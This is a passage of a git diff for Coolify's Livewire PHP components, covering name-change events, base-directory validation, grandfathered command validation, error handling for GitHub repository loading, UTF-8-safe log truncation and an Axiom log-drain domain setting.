a/app/Livewire/Destination/Show.php +++ b/app/Livewire/Destination/Show.php @@ -51,6 +51,7 @@ class Show extends Component $this->destination->name = $this->name; $changedFields = auditChangedFields($this->destination); $this->destination->save(); + $this->dispatch('name-changed', uuid: $this->destination->uuid, name: $this->destination->name); if ($changedFields !== []) { auditLog('ui.destination.updated', $this->auditContext([ 'changed_fields' => $changedFields, diff --git a/app/Livewire/Project/Application/Domains.php b/app/Livewire/Project/Application/Domains.php index 118ba4461c..70918b6e54 100644 --- a/app/Livewire/Project/Application/Domains.php +++ b/app/Livewire/Project/Application/Domains.php @@ -321,16 +321,10 @@ class Domains extends Component if (! $this->isCompose) { $this->composeServices = []; } elseif ($parseCompose) { - try { - $parsed = $this->application->parse() ?? []; - } catch (\Throwable) { - $parsed = []; - } $this->composeServices = []; - $services = data_get($parsed, 'services', []); - foreach ($services as $serviceName => $service) { + foreach ($this->application->composeServicesWithoutParse() as $serviceName => $service) { if (! isDatabaseImage(data_get($service, 'image'))) { - $this->composeServices[] = $serviceName; + $this->composeServices[] = (string) $serviceName; } } } diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index a58d87f307..7128f2bbc6 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -170,9 +170,9 @@ class General extends Component 'gitRepository' => 'required', 'gitBranch' => ['required', 'string', new ValidGitBranch], 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], - 'installCommand' => ValidationPatterns::shellSafeCommandRules(), - 'buildCommand' => ValidationPatterns::shellSafeCommandRules(), - 'startCommand' => ValidationPatterns::shellSafeCommandRules(), + 'installCommand' => $this->changedCommandRules('installCommand', 'install_command'), + 'buildCommand' => $this->changedCommandRules('buildCommand', 'build_command'), + 'startCommand' => $this->changedCommandRules('startCommand', 'start_command'), 'buildPack' => 'required', 'staticImage' => ['required', Rule::enum(StaticImageTypes::class)], 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), @@ -217,6 +217,19 @@ class General extends Component ]; } + /** + * Commands saved before they were validated stay valid until they change. The deployment escapes them as one + * argument, and the fields are hidden for build packs other than Nixpacks and Railpack, so a user cannot fix them. + */ + private function changedCommandRules(string $property, string $column): array + { + if (isset($this->application) && (string) $this->{$property} === (string) $this->application->getOriginal($column)) { + return ['nullable']; + } + + return ValidationPatterns::shellSafeCommandRules(); + } + protected function messages(): array { return array_merge( @@ -973,6 +986,7 @@ class General extends Component $this->application->custom_labels = base64_encode($this->customLabels); $this->application->save(); $this->application->refresh(); + $this->dispatch('name-changed', uuid: $this->application->uuid, name: $this->application->name); $dnsCleanup->queueReleaseOfRemovedHostnames($this->application, $previousDnsHostnames, $this->application->team()->id); $this->syncData(); if ($oldPortsExposes !== $this->application->ports_exposes || $oldCustomNetworkAliases !== $this->application->custom_network_aliases) { diff --git a/app/Livewire/Project/Application/Previews.php b/app/Livewire/Project/Application/Previews.php index 7de6552b94..6ae092610f 100644 --- a/app/Livewire/Project/Application/Previews.php +++ b/app/Livewire/Project/Application/Previews.php @@ -98,7 +98,7 @@ class Previews extends Component if (! $this->application->isGithubAppSource()) { throw new \Exception('Loading pull requests is only supported for GitHub App sources.'); } - ['rate_limit_remaining' => $rate_limit_remaining, 'data' => $data] = githubApi(source: $this->application->source, endpoint: "/repos/{$this->application->git_repository}/pulls"); + ['rate_limit_remaining' => $rate_limit_remaining, 'data' => $data] = githubApi(source: $this->application->source, endpoint: '/repos/'.gitRepositorySlug($this->application->git_repository).'/pulls'); $this->rate_limit_remaining = $rate_limit_remaining; $this->pull_requests = $data->sortBy('number')->values(); } catch (\Throwable $e) { diff --git a/app/Livewire/Project/Application/Source.php b/app/Livewire/Project/Application/Source.php index 35c71b3c5d..74f6255cb5 100644 --- a/app/Livewire/Project/Application/Source.php +++ b/app/Livewire/Project/Application/Source.php @@ -205,20 +205,21 @@ class Source extends Component $this->dispatch('configurationChanged'); ['repository' => $customRepository] = $this->application->customRepository(); + $repositorySlug = gitRepositorySlug($customRepository); $repository_project_id = null; if ($sourceType === GithubApp::class) { - $repository = githubApi($source, "repos/{$customRepository}"); + $repository = githubApi($source, "repos/{$repositorySlug}"); $repository_project_id = data_get($repository, 'data.id'); } elseif ($sourceType === GitlabApp::class) { if ($source->isConnected()) { - $encoded = urlencode($customRepository); + $encoded = urlencode($repositorySlug); $project = gitlabApi($source, "/projects/{$encoded}"); $repository_project_id = data_get($project, 'data.id'); } } elseif ($sourceType === GiteaApp::class) { if ($source->isConnected()) { - $repositoryPath = collect(explode('/', $customRepository, 2))->map(fn ($part) => rawurlencode($part))->implode('/'); + $repositoryPath = collect(explode('/', $repositorySlug, 2))->map(fn ($part) => rawurlencode($part))->implode('/'); $repository = giteaApi($source, "/repos/{$repositoryPath}"); $repository_project_id = data_get($repository, 'data.id'); } diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index fce8bffd0b..19a32b70be 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -63,7 +63,7 @@ class CloneMe extends Component ->where('team_id', $this->project->team_id) ->get() ->reject(fn ($server) => $server->isBuildServer()); - $this->newName = str($this->project->name.'-clone-'.new_public_id())->slug(); + $this->newName = str(clone_resource_name($this->project->name, new_public_id()))->slug(); } public function toggleVolumeCloning(bool $value) diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 68452e78af..c8badb3cf7 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -135,6 +135,7 @@ class General extends Component $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 3c6b27e306..0e35530841 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -122,6 +122,7 @@ class General extends Component $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Database/ImportForm.php b/app/Livewire/Project/Database/ImportForm.php index 7fe8c8abef..a1a6783b8e 100644 --- a/app/Livewire/Project/Database/ImportForm.php +++ b/app/Livewire/Project/Database/ImportForm.php @@ -648,7 +648,7 @@ class ImportForm extends Component 'secret' => $s3Storage->secret, 'bucket' => $s3Storage->bucket, 'endpoint' => $s3Storage->endpoint, - 'use_path_style_endpoint' => true, + 'use_path_style_endpoint' => $s3Storage->usesPathStyleEndpoint(), 'http' => SafeWebhookUrl::httpClientOptions($s3Storage->endpoint), ]); diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index 1e159d2f9b..abd9e5d025 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -126,6 +126,7 @@ class General extends Component $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index d65136e9f0..9e951db774 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -151,6 +151,7 @@ class General extends Component $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 02357a5581..3943512636 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -143,6 +143,7 @@ class General extends Component $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index fd3abfc218..f05f9b8410 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -151,6 +151,7 @@ class General extends Component $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 30e03d7630..f5844d93d1 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -167,6 +167,7 @@ class General extends Component $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 5c96bef77a..f744f8eed6 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -144,6 +144,7 @@ class General extends Component $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Database/Sqlite/General.php b/app/Livewire/Project/Database/Sqlite/General.php index 59e05363d3..cd1d578554 100644 --- a/app/Livewire/Project/Database/Sqlite/General.php +++ b/app/Livewire/Project/Database/Sqlite/General.php @@ -81,6 +81,7 @@ class General extends Component $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); + $this->dispatch('name-changed', uuid: $this->database->uuid, name: $this->database->name); } else { $this->name = $this->database->name; $this->description = $this->database->description; diff --git a/app/Livewire/Project/Edit.php b/app/Livewire/Project/Edit.php index 0d42c71e94..a22d7d8115 100644 --- a/app/Livewire/Project/Edit.php +++ b/app/Livewire/Project/Edit.php @@ -85,6 +85,7 @@ class Edit extends Component 'name' => $this->name, 'description' => $this->description, ]); + $this->dispatch('name-changed', uuid: $this->project->uuid, name: $this->project->name); } else { $this->name = $this->project->name; $this->description = $this->project->description; diff --git a/app/Livewire/Project/New/GiteaPrivateRepository.php b/app/Livewire/Project/New/GiteaPrivateRepository.php index 83247821a9..9c1fb558c8 100644 --- a/app/Livewire/Project/New/GiteaPrivateRepository.php +++ b/app/Livewire/Project/New/GiteaPrivateRepository.php @@ -170,10 +170,12 @@ class GiteaPrivateRepository extends Component 'selected_repository_path' => $this->selected_repository_path, 'selected_branch_name' => $this->selected_branch_name, 'docker_compose_location' => $this->docker_compose_location, + 'base_directory' => $this->base_directory, ], [ 'selected_repository_path' => 'required|string', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], 'docker_compose_location' => ValidationPatterns::filePathRules(), + 'base_directory' => ValidationPatterns::directoryPathRules(), ]); if ($validator->fails()) { @@ -181,7 +183,7 @@ class GiteaPrivateRepository extends Component } $destination_uuid = $this->query['destination'] ?? null; - $destination = find_destination_for_current_team($destination_uuid); + $destination = find_resource_destination_for_current_team($destination_uuid); if (! $destination) { throw new \Exception('Destination not found.'); } diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index fb2ee74c13..e1a1d8e7f4 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -115,17 +115,22 @@ class GithubPrivateRepository extends Component ->where('is_public', false) ->whereNotNull('app_id') ->findOrFail($github_app_id); - $token = generateGithubInstallationToken($this->github_app); - $repositories = loadRepositoryByPage($this->github_app, $token, $this->page); - $this->total_repositories_count = $repositories['total_count']; - $this->repositories = $this->repositories->concat(collect($repositories['repositories'])); - if ($this->repositories->count() < $this->total_repositories_count) { + try { + $token = generateGithubInstallationToken($this->github_app); + $repositories = loadRepositoryByPage($this->github_app, $token, $this->page); + $this->total_repositories_count = $repositories['total_count']; + $this->repositories = $this->repositories->concat(collect($repositories['repositories'])); while ($this->repositories->count() < $this->total_repositories_count) { $this->page++; $repositories = loadRepositoryByPage($this->github_app, $token, $this->page); $this->total_repositories_count = $repositories['total_count']; $this->repositories = $this->repositories->concat(collect($repositories['repositories'])); } + } catch (\Throwable $e) { + $this->repositories = collect(); + handleError($e, $this); + + return; } $this->repositories = $this->repositories->sortBy('name'); if ($this->repositories->count() > 0) { @@ -141,12 +146,17 @@ class GithubPrivateRepository extends Component $this->selected_repository_repo = data_get($repository, 'name'); $this->branches = collect(); $this->page = 1; - $this->loadBranchByPage(); - if ($this->total_branches_count === 100) { - while ($this->total_branches_count === 100) { - $this->page++; + try { + do { $this->loadBranchByPage(); - } + $this->page++; + } while ($this->total_branches_count === 100); + } catch (\Throwable $e) { + $this->branches = collect(); + $this->total_branches_count = 0; + handleError($e, $this); + + return; } $this->branches = sortBranchesByPriority($this->branches); $defaultBranch = data_get($repository, 'default_branch', 'main'); @@ -157,7 +167,7 @@ class GithubPrivateRepository extends Component $this->detectRepository(); } - protected function loadBranchByPage() + protected function loadBranchByPage(): void { $token = generateGithubInstallationToken($this->github_app); @@ -170,7 +180,9 @@ class GithubPrivateRepository extends Component ]); $json = $response->json(); if ($response->status() !== 200) { - return $this->dispatch('error', $json['message']); + $error = data_get($json, 'message', "HTTP {$response->status()}"); + + throw new \RuntimeException("Failed to load branches of {$this->selected_repository_owner}/{$this->selected_repository_repo} with error: ".$error); } $this->total_branches_count = count($json); @@ -195,11 +207,13 @@ class GithubPrivateRepository extends Component 'selected_repository_repo' => $this->selected_repository_repo, 'selected_branch_name' => $this->selected_branch_name, 'docker_compose_location' => $this->docker_compose_location, + 'base_directory' => $this->base_directory, ], [ 'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], 'docker_compose_location' => ValidationPatterns::filePathRules(), + 'base_directory' => ValidationPatterns::directoryPathRules(), ]); if ($validator->fails()) { diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index cf579429ed..f7f57acd02 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -40,9 +40,9 @@ class GithubPrivateRepositoryDeployKey extends Component public ?string $publish_directory = null; - // In case of docker compose - public ?string $base_directory = null; + public ?string $base_directory = '/'; + // In case of docker compose public ?string $docker_compose_location = '/docker-compose.yaml'; // End of docker compose @@ -71,6 +71,7 @@ class GithubPrivateRepositoryDeployKey extends Component 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', + 'base_directory' => ValidationPatterns::directoryPathRules(), 'docker_compose_location' => ValidationPatterns::filePathRules(), ]; } @@ -82,6 +83,7 @@ class GithubPrivateRepositoryDeployKey extends Component 'is_static' => 'Is static', 'publish_directory' => 'Publish directory', 'build_pack' => 'Build pack', + 'base_directory' => 'Base directory', ]; public function mount() @@ -182,6 +184,7 @@ class GithubPrivateRepositoryDeployKey extends Component 'destination_id' => $destination->id, 'destination_type' => $destination_class, 'private_key_id' => $privateKey->id, + 'base_directory' => $this->base_directory, ]; } else { $application_init = [ @@ -197,6 +200,7 @@ class GithubPrivateRepositoryDeployKey extends Component 'private_key_id' => $privateKey->id, 'source_id' => $this->git_source->id, 'source_type' => $this->git_source->getMorphClass(), + 'base_directory' => $this->base_directory, ]; } if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { @@ -207,7 +211,6 @@ class GithubPrivateRepositoryDeployKey extends Component } if ($this->build_pack === 'dockercompose') { $application_init['docker_compose_location'] = $this->docker_compose_location; - $application_init['base_directory'] = $this->base_directory; } $application = new Application($application_init); $application->save(); diff --git a/app/Livewire/Project/New/GitlabPrivateRepository.php b/app/Livewire/Project/New/GitlabPrivateRepository.php index 849ba7ccd1..fe30d8bb50 100644 --- a/app/Livewire/Project/New/GitlabPrivateRepository.php +++ b/app/Livewire/Project/New/GitlabPrivateRepository.php @@ -165,10 +165,12 @@ class GitlabPrivateRepository extends Component 'selected_repository_path' => $this->selected_repository_path, 'selected_branch_name' => $this->selected_branch_name, 'docker_compose_location' => $this->docker_compose_location, + 'base_directory' => $this->base_directory, ], [ 'selected_repository_path' => 'required|string', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], 'docker_compose_location' => ValidationPatterns::filePathRules(), + 'base_directory' => ValidationPatterns::directoryPathRules(), ]); if ($validator->fails()) { @@ -176,7 +178,7 @@ class GitlabPrivateRepository extends Component } $destination_uuid = $this->query['destination'] ?? null; - $destination = find_destination_for_current_team($destination_uuid); + $destination = find_resource_destination_for_current_team($destination_uuid); if (! $destination) { throw new \Exception('Destination not found.'); } diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index d2a3a5a11f..daf713a679 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -73,7 +73,7 @@ class PublicGitRepository extends Component 'isStatic' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', - 'base_directory' => 'nullable|string', + 'base_directory' => ValidationPatterns::directoryPathRules(), 'docker_compose_location' => ValidationPatterns::filePathRules(), 'git_branch' => ['required', 'string', new ValidGitBranch], ]; @@ -351,7 +351,6 @@ class PublicGitRepository extends Component } if ($this->build_pack === 'dockercompose') { $application_init['docker_compose_location'] = $this->docker_compose_location; - $application_init['base_directory'] = $this->base_directory; } $application = new Application($application_init); $application->save(); diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index 2c91c31c35..ed5025ab1b 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -168,8 +168,6 @@ class Index extends Component return; } $this->parameters = get_route_parameters(); - $this->query = request()->query(); - $this->currentRoute = request()->route()->getName(); $project = currentTeam() ->projects() ->select('id', 'uuid', 'team_id') @@ -181,32 +179,12 @@ class Index extends Component ->firstOrFail(); $this->service = $environment->services()->whereUuid($this->parameters['service_uuid'])->firstOrFail(); $this->authorize('view', $this->service); - if (in_array($this->currentRoute, ['project.service.index', 'project.service.index.advanced'], true)) { - return redirect()->route( - 'project.service.configuration', - collect($this->parameters)->except('stack_service_uuid')->all(), - ); - } - $service = $this->service->applications()->whereUuid($this->parameters['stack_service_uuid'])->first(); - if ($service) { - $this->serviceApplication = $service; - $this->resourceType = 'application'; - $this->serviceApplication->getFilesFromServer(); - $this->initializeApplicationProperties(); - } else { - $this->serviceDatabase = $this->service->databases()->whereUuid($this->parameters['stack_service_uuid'])->first(); - if (! $this->serviceDatabase) { - return redirect()->route('project.service.configuration', [ - 'project_uuid' => $this->parameters['project_uuid'], - 'environment_uuid' => $this->parameters['environment_uuid'], - 'service_uuid' => $this->parameters['service_uuid'], - ]); - } - $this->resourceType = 'database'; - $this->serviceDatabase->getFilesFromServer(); - $this->initializeDatabaseProperties(); - } - $this->s3s = $this->serviceTeamS3Storages(); + + // The settings of a stack service open in a modal on the configuration page. + return redirect()->route( + 'project.service.configuration', + collect($this->parameters)->except('stack_service_uuid')->all(), + ); } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Project/Service/StackForm.php b/app/Livewire/Project/Service/StackForm.php index 9247049d6d..cc6a994b36 100644 --- a/app/Livewire/Project/Service/StackForm.php +++ b/app/Livewire/Project/Service/StackForm.php @@ -199,6 +199,7 @@ class StackForm extends Component // Refresh and write files after a successful commit $this->service->refresh(); $this->service->saveComposeConfigs(); + $this->dispatch('name-changed', uuid: $this->service->uuid, name: $this->service->name); $this->dispatch('refreshEnvs')->to(EditCompose::class); $this->dispatch('refreshEnvs')->to(All::class); diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 1591fca861..37f3f1b59a 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -986,23 +986,12 @@ class All extends Component private function formatEnvironmentVariables($variables) { - $hideValues = ! $this->canViewEnvironmentValues(); + $canViewValues = $this->canViewEnvironmentValues(); return $variables ->reject(fn ($item): bool => $this->isProtectedEnvironmentVariable($item->key)) - ->map(function ($item) use ($hideValues) { - if ($hideValues) { - return "$item->key=(Hidden, only admins can view)"; - } - if ($item->is_shown_once) { - return "$item->key=(Locked Secret, delete and add again to change)"; - } - if ($item->is_multiline) { - return "$item->key=(Multiline environment variable, edit in normal view)"; - } - - return "$item->key=$item->value"; - })->join("\n"); + ->map(fn ($item) => formatEnvVariableForDevView($item, $canViewValues)) + ->join("\n"); } public function switch() @@ -1017,11 +1006,28 @@ class All extends Component public function submit($data = null) { + // Parse before the save, so that an invalid "# coolify:" line changes nothing and keeps the edited text. try { $this->authorize('manageEnvironment', $this->resource); $this->ensureEnvironmentVariablesLoaded(); if ($data === null) { - $this->handleBulkSubmit(); + $variables = $this->normalizeEnvironmentVariables(parseEnvDevView($this->variables, EnvironmentVariable::DEV_VIEW_FLAG_DEFAULTS)); + $previewVariables = []; + if ($this->showPreview) { + try { + $previewVariables = $this->normalizeEnvironmentVariables(parseEnvDevView($this->variablesPreview, EnvironmentVariable::DEV_VIEW_FLAG_DEFAULTS)); + } catch (\InvalidArgumentException $e) { + throw new \InvalidArgumentException('Preview deployments: '.$e->getMessage(), previous: $e); + } + } + } + } catch (\Throwable $e) { + return handleError($e, $this); + } + + try { + if ($data === null) { + $this->handleBulkSubmit($variables, $previewVariables); } else { $this->handleSingleSubmit($data); } @@ -1071,9 +1077,8 @@ class All extends Component } } - private function handleBulkSubmit() + private function handleBulkSubmit(array $variables, array $previewVariables) { - $variables = $this->normalizeEnvironmentVariables(parseEnvFormatToArray($this->variables)); $changesMade = false; $errorOccurred = false; @@ -1092,8 +1097,6 @@ class All extends Component } if ($this->showPreview) { - $previewVariables = $this->normalizeEnvironmentVariables(parseEnvFormatToArray($this->variablesPreview)); - // Try to delete removed preview variables $deletedPreviewCount = $this->deleteRemovedVariables(true, $previewVariables); if ($deletedPreviewCount > 0) { @@ -1223,7 +1226,7 @@ class All extends Component $found = $this->resource->$method()->where('key', $key)->first(); if ($found) { - if (! $found->is_shown_once && ! $found->is_multiline) { + if (! $found->is_shown_once && ! $found->is_multiline && formatEnvValueForDevView($found->value) !== null) { $changed = false; // Update value if it changed @@ -1239,7 +1242,10 @@ class All extends Component $changed = true; } - if ($changed) { + // Flags change only when a "# coolify:" line sets them + $found->fill($data['settings']); + + if ($changed || $found->isDirty()) { $found->save(); $count++; } @@ -1250,6 +1256,7 @@ class All extends Component $environment->value = $value; $environment->comment = $comment; // Set comment from inline comment $environment->is_multiline = false; + $environment->fill($data['settings']); $environment->is_preview = $isPreview; $environment->resourceable_id = $this->resource->id; $environment->resourceable_type = $this->resource->getMorphClass(); diff --git a/app/Livewire/Project/Shared/GetLogs.php b/app/Livewire/Project/Shared/GetLogs.php index 57bfbd16f3..4777345546 100644 --- a/app/Livewire/Project/Shared/GetLogs.php +++ b/app/Livewire/Project/Shared/GetLogs.php @@ -297,7 +297,7 @@ class GetLogs extends Component $stripTimestamps ??= $export && ! $this->showTimeStamps; $merged = $this->joinMergedLines($groups, $stripTimestamps, $export); if (strlen($merged) > $maxBytes) { - $merged = rtrim(substr($merged, 0, $maxBytes), "\n"); + $merged = rtrim(mb_strcut($merged, 0, $maxBytes, 'UTF-8'), "\n"); $truncated = true; } if ($truncated && $merged !== '') { @@ -502,7 +502,8 @@ class GetLogs extends Component ->run(SshMultiplexingHelper::generateSshBatchCommand($server)) ->output(); $truncated = strlen($output) > $maxBytes; - $logs = rtrim(removeAnsiColors($truncated ? substr($output, 0, $maxBytes) : $output), "\n"); + // Invalid UTF-8 from a container would make the JSON response fail, so the viewer would stay empty. + $logs = rtrim(sanitize_utf8_text(removeAnsiColors($truncated ? substr($output, 0, $maxBytes) : $output)), "\n"); return ['logs' => $logs, 'truncated' => $truncated]; } diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index 198972406e..6173215742 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -132,7 +132,7 @@ class ResourceOperations extends Component 'updated_at', ])->fill([ 'uuid' => $uuid, - 'name' => $this->resource->name.'-clone-'.$uuid, + 'name' => clone_resource_name($this->resource->name, $uuid), 'status' => 'exited', 'started_at' => null, 'environment_id' => $new_environment->id, diff --git a/app/Livewire/Project/Shared/ScheduledTask/All.php b/app/Livewire/Project/Shared/ScheduledTask/All.php index 124c907210..971554f6a1 100644 --- a/app/Livewire/Project/Shared/ScheduledTask/All.php +++ b/app/Livewire/Project/Shared/ScheduledTask/All.php @@ -44,9 +44,7 @@ class All extends Component $this->containerNames = $this->containerNames->merge($this->resource->databases()->pluck('name')); } elseif ($this->resource->type() === 'application') { if ($this->resource->build_pack === 'dockercompose') { - $parsed = $this->resource->parse(); - $containers = collect(data_get($parsed, 'services'))->keys(); - $this->containerNames = $containers; + $this->containerNames = collect($this->resource->composeServicesWithoutParse())->keys(); } else { $this->containerNames = collect([]); } diff --git a/app/Livewire/Security/IntegrationTokenEditor.php b/app/Livewire/Security/IntegrationTokenEditor.php index 811b7f7712..e39f661943 100644 --- a/app/Livewire/Security/IntegrationTokenEditor.php +++ b/app/Livewire/Security/IntegrationTokenEditor.php @@ -6,6 +6,7 @@ use App\Models\IntegrationToken; use App\Services\Dns\CloudflareDnsProvider; use App\Services\IntegrationTokenValidator; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Http\Client\ConnectionException; use Illuminate\Support\Facades\DB; use Livewire\Component; @@ -180,6 +181,8 @@ class IntegrationTokenEditor extends Component capabilities: $this->integrationToken->capabilities, ); $this->dispatch('success', 'Integration token updated successfully.'); + } catch (ConnectionException) { + $this->dispatch('error', $validator->connectionErrorMessage($provider)); } catch (\Throwable $e) { handleError($e, $this); } diff --git a/app/Livewire/Security/IntegrationTokenForm.php b/app/Livewire/Security/IntegrationTokenForm.php index f05a5879f6..33f45d9765 100644 --- a/app/Livewire/Security/IntegrationTokenForm.php +++ b/app/Livewire/Security/IntegrationTokenForm.php @@ -6,6 +6,7 @@ use App\Models\IntegrationToken; use App\Services\Dns\CloudflareDnsProvider; use App\Services\IntegrationTokenValidator; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Http\Client\ConnectionException; use Illuminate\Support\Facades\DB; use Livewire\Component; @@ -150,6 +151,8 @@ class IntegrationTokenForm extends Component } $this->dispatch('success', 'Integration token added successfully.'); + } catch (ConnectionException) { + $this->dispatch('error', $validator->connectionErrorMessage($validated['provider'])); } catch (\Throwable $e) { handleError($e, $this); } diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php index 0ba40a3bbf..6ae6a357c4 100644 --- a/app/Livewire/Server/LogDrains.php +++ b/app/Livewire/Server/LogDrains.php @@ -5,7 +5,9 @@ namespace App\Livewire\Server; use App\Actions\Server\StartLogDrain; use App\Actions\Server\StopLogDrain; use App\Models\Server; +use App\Models\ServerSetting; use App\Rules\ValidFluentBitConfig; +use App\Rules\ValidHostname; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Validation\ValidationException; use Livewire\Attributes\Validate; @@ -38,6 +40,9 @@ class LogDrains extends Component #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomApiKey = null; + #[Validate(['string', 'nullable', new ValidHostname])] + public ?string $logDrainAxiomDomain = null; + #[Validate(['string', 'nullable'])] public ?string $logDrainCustomConfig = null; @@ -87,9 +92,11 @@ class LogDrains extends Component $this->server->settings->is_logdrain_axiom_enabled = $this->isLogDrainAxiomEnabled; $this->server->settings->logdrain_axiom_dataset_name = $this->logDrainAxiomDatasetName; $this->server->settings->logdrain_axiom_api_key = $this->logDrainAxiomApiKey; + $this->server->settings->logdrain_axiom_domain = $this->logDrainAxiomDomain; } else { $this->isLogDrainAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled; $this->logDrainAxiomDatasetName = $this->server->settings->logdrain_axiom_dataset_name; + $this->logDrainAxiomDomain = $this->server->settings->logdrain_axiom_domain ?: 